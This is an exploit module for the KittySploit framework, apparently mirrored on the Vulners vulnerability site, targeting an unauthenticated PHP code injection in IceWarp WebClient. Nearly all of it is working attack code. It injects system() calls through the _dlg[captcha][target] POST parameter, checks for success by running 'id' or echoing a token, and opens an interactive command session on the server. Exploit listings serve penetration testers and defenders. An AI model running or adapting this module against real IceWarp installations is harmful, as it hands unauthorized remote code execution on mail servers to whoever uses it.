IceWarp WebClient RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""IceWarp WebClient captcha target RCE — execute session."""
from __future__ import annotations
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'IceWarp WebClient RCE',
'description': (
'Exploits unauthenticated PHP code injection in IceWarp WebClient via the '
'_dlg[captcha][target] parameter. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://www.icewarp.com/',
],
'tags': ['icewarp', 'webmail', 'webclient', 'rce', 'unauth', 'injection'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['icewarp'],
'endpoint_pattern_any': ['/webmail/basic/'],
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'captcha target injection'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/icewarp_webclient_rce_detect'],
},
},
}
path = OptString('/webmail/basic/', 'WebClient base path', False, advanced=True)
shell = OptChoice(
'unix',
'PHP system() wrapper',
False,
choices=['unix', 'windows'],
advanced=True,
)
def _wrap_cmd(self, cmd: str) -> str:
safe = str(cmd).replace('\\', '\\\\').replace("'", "\\'")
if self.shell == 'windows':
return f"system('cmd /c {safe}')"
return f"system('{safe}')"
def execute(self, cmd: str) -> str:
body = f"_dlg[captcha][target]={self._wrap_cmd(cmd)}\\\n"
r = self.http_request(
method='POST',
path=str(self.path or '/webmail/basic/'),
data=body,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'IceWarp WebClient RCE confirmed via id',
'confidence': 'high',
}
if 'Microsoft Windows [Version' in (body or ''):
return {
'vulnerable': True,
'reason': 'IceWarp WebClient RCE confirmed on Windows',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'captcha target injection did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
if self.shell == 'windows':
return token in (self.execute(f'echo {token}') or '')
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
6.1Medium risk
Vulners AI Score6.1